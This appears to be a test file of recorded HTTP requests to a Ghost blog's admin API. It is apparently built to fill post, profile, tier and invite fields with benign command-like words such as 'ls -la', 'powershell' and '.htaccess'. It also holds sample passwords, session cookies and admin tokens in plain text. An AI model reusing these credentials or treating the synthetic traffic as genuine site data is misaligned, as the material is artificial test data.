{"method": "GET", "target": "/ghost/api/admin/members/?filter=label%3apowershell-users&include=labels", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/tags/?filter=name%3a~%27ls+-la%27&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/posts/?source=html", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 1702"], "body": "{\"posts\": [{\"title\": \"Automating .htaccess checks with python3\", \"html\": \"<h2>Getting started</h2>\\n<p>Run <code>ls -la</code> in your web root, then open <a href=\\\"https://example.com/docs/htaccess\\\">the .htaccess guide</a>. On Windows, use <strong>powershell</strong> instead; it's the same idea.</p>\\n<h3>A small script</h3>\\n<pre><code class=\\\"language-python\\\">#!/usr/bin/env python3\\nimport os, subprocess\\nfor name in sorted(os.listdir(\\\".\\\")):\\n print(name)\\nsubprocess.run([\\\"ls\\\", \\\"-la\\\", \\\"/var/www/html\\\"], check=True)\\n</code></pre>\\n<pre><code class=\\\"language-bash\\\">cat /etc/hosts | grep example\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\nmysql -e \\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\"\\n</code></pre>\\n<pre><code class=\\\"language-javascript\\\">document.querySelectorAll('a').forEach((a) =&gt; console.log(a.href));\\nwindow.onload = () =&gt; alert('ready');\\n</code></pre>\\n<blockquote>\\\"Keep your .htaccess small,\\\" said one reader -- and python3 agrees.</blockquote>\\n<ul><li>python3 -m venv .venv &amp;&amp; source .venv/bin/activate</li><li>powershell -ExecutionPolicy Bypass -File build.ps1</li><li>Edit /etc/nginx/sites-available/default, then reload</li></ul>\\n<ol><li>Back up wp-config.php and .env</li><li>Run <code>rm -rf ./cache/*</code></li></ol>\\n<p>Questions? Email <a href=\\\"mailto:help@example.com\\\">help@example.com</a> or see <a href=\\\"https://example.com/search?q=htaccess&amp;lang=en\\\">the search page</a>.</p>\", \"status\": \"published\", \"tags\": [\"python3\", \"PowerShell\"], \"custom_excerpt\": \"Run ls -la from python3 or powershell.\", \"feature_image\": \"http://example.com/content/images/2026/11/photo.png\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 175"], "body": "{\"members\": [{\"email\": \"erin.htaccess@example.com\", \"name\": \"Erin python3 Example\", \"note\": \"Imported from powershell export\", \"labels\": [\"powershell users\", \"ls -la fans\"]}]}"}
{"method": "POST", "target": "/ghost/api/admin/images/upload/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA1NTksImV4cCI6MTc5NDQwMDg1OSwiYXVkIjoiL2FkbWluLyJ9.-ZxF-NHaDF6qL14m2AvJlABfQMH6mduB4HhxlmUzs9I", "Accept-Version: v6.76", "Content-Length: 569", "Content-Type: multipart/form-data; boundary=------------------------gySlLRiEsdL70cXx8zmsOZ"], "body": "--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\niVBORw0KGgoAAAANSUhEUgAAAEAAAAAwCAIAAAAuKetIAAAAZElEQVR4nO3PUQkAIBTAwBfHiEY0liH8OITBAtxm7fN1wwUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY0oAUNaEEDWtCAFjSgBQ1oQQNa0IAWNKAFDWhBA1rQgBY8dgGIweDx+vacjQAAAABJRU5ErkJggg==\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"purpose\"\r\n\r\nimage\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\nphoto.png\r\n--------------------------gySlLRiEsdL70cXx8zmsOZ--\r\n"}
{"method": "POST", "target": "/ghost/api/admin/stats/posts-member-counts/", "headers": ["Host: example.com", "Content-Length: 94", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"postIds\":[\"6af46132d281b00001a599c1\",\"6af458a5d281b00001a59969\",\"6af45710d281b00001a598a4\"]}"}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Daqz-KE-bpKQ&type=embed", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fdocs%2Fpython3%2Fls-la-and-htaccess%2F&type=bookmark", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fblog%2Fpowershell-tips%3Fref%3Dghost&type=mention", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/users/password/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"password\":[{\"user_id\":\"6af4570fd281b00001a59891\",\"oldPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"newPassword\":\"Zt6-Hm3q-Bv9k-Jc4w\",\"ne2Password\":\"Zt6-Hm3q-Bv9k-Jc4w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\nUEsDBAoAAAAAAM9la10AAAAAAAAAAAAAAAAMABwAbm90ZXMtdGhlbWUvVVQJAAOmY/RqpmP0anV4CwABBOgDAAAE6AMAAFBLAwQUAAAACADPZWtdXfnn43sAAACmAAAAFQAcAG5vdGVzLXRoZW1lL2luZGV4Lmhic1VUCQADpmP0aqZj9Gp1eAsAAQToAwAABOgDAAAtjlEKAyEMRP/3FHZ7AKHfqVcpwcYqWF00C4WQu1dtP+fNZCYiFzBPCnhmVt3gjak4kWuojdBHc9TOXRWwcfKZjM/Y+30XmcZjKdXdQbw5QBMbhWmeLU8qwokzjXOLDuzIiNDHUzt4sV/ngPY/pzqK8ZUKcqplZtY/2xdQSwMECgAAAAAAz2VrXQAAAAAAAAAAAAAAABUAHABub3Rlcy10aGVtZS9wYXJ0aWFscy9VVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAAUEsDBBQAAAAIAM9la11tuH02lQAAAPgAAAAUABwAbm90ZXMtdGhlbWUvcGFnZS5oYnNVVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAAXU+7DsMgDNz7FZTMVdSd5lcQoiaxBEkFzmTx77XTdGi3e+l0x3x15gkp7Jl6vzAPr60JcqESxgwm5tDawzKr7g/Wu53ccp+YCSmDhMeDDZhMgkB7BY8lzOpgmU2rUQsE+r3m/4g1IZP6P7oPusdK64hJehpEwm39zpmXW9xWgpU0ckIdcuYmN54HDrsUsWW3tH3uXd5QSwMEFAAAAAgAz2VrXY4bR/y4AAAABwEAABgAHABub3Rlcy10aGVtZS9wYWNrYWdlLmpzb25VVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAALY/BbsIwDIbvPIWVM6uKEJdJm+BJKis1baTEjuIAG6jvjpPtZvv7/Vl+OcZE7hMcSyX9qCtZuwc3k/oScg3CjV5AE8YIncNVCvQ8CEP+ravwEZBnyPKgoivF2Bx3q//3D8M4jG6/A0e8BCa14cstq2ht+Pvr1AObbeHNfKVzShhi4xiDpzP9YMqRBi/Jkubywtew9Gg2k06ZypRxaQ8dRnOFZM2k4fl3sOk9lnlCVaptVMuNtm33BlBLAwQUAAAACADPZWtdbbh9NpUAAAD4AAAAFAAcAG5vdGVzLXRoZW1lL3Bvc3QuaGJzVVQJAAOmY/RqpmP0anV4CwABBOgDAAAE6AMAAF1Puw7DIAzc+xWUzFXUneZXEKImsQRJBc5k8e+103Rot3vpdMd8deYJKeyZer8wD6+tCXKhEsYMJubQ2sMyq+4P1rud3HKfmAkpg4THgw2YTIJAewWPJczqYJlNq1ELBPq95v+INSGT+j+6D7rHSuuISXoaRMJt/c6Zl1vcVoKVNHJCHXLmJjeeBw67FLFlt7R97l3eUEsDBBQAAAAIAM9la12WkoJXiwAAAMEAAAAXABwAbm90ZXMtdGhlbWUvZGVmYXVsdC5oYnNVVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAANY6xDsIwDET3fkXIDqwMboQEzDCwMEWmdZtKKZGIGVDkf6cO6mTdO92dYXO+nu6P28UEnqNrQI+J+BpbW8oxT0y7mDqMJGIdBMLewUyMpgv4zsSt/fCwPSweTxzJlaKur0IE9isdQ8rsNa+09jTwTP3XdBFz1jVVvirdKn8gImt4SIk1rNgtHfXhH1BLAQIeAwoAAAAAAM9la10AAAAAAAAAAAAAAAAMABgAAAAAAAAAEAD9QQAAAABub3Rlcy10aGVtZS9VVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdXfnn43sAAACmAAAAFQAYAAAAAAABAAAAtIFGAAAAbm90ZXMtdGhlbWUvaW5kZXguaGJzVVQFAAOmY/RqdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAz2VrXQAAAAAAAAAAAAAAABUAGAAAAAAAAAAQAP1BEAEAAG5vdGVzLXRoZW1lL3BhcnRpYWxzL1VUBQADpmP0anV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAM9la11tuH02lQAAAPgAAAAUABgAAAAAAAEAAAC0gV8BAABub3Rlcy10aGVtZS9wYWdlLmhic1VUBQADpmP0anV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAM9la12OG0f8uAAAAAcBAAAYABgAAAAAAAEAAAC0gUICAABub3Rlcy10aGVtZS9wYWNrYWdlLmpzb25VVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdbbh9NpUAAAD4AAAAFAAYAAAAAAABAAAAtIFMAwAAbm90ZXMtdGhlbWUvcG9zdC5oYnNVVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdlpKCV4sAAADBAAAAFwAYAAAAAAABAAAAtIEvBAAAbm90ZXMtdGhlbWUvZGVmYXVsdC5oYnNVVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwUGAAAAAAcABwB3AgAACwUAAAAA\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
# The requests below were sent to Ghost by a script with the admin's or a
# member's headers. They hold words that name commands and files in more fields.
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
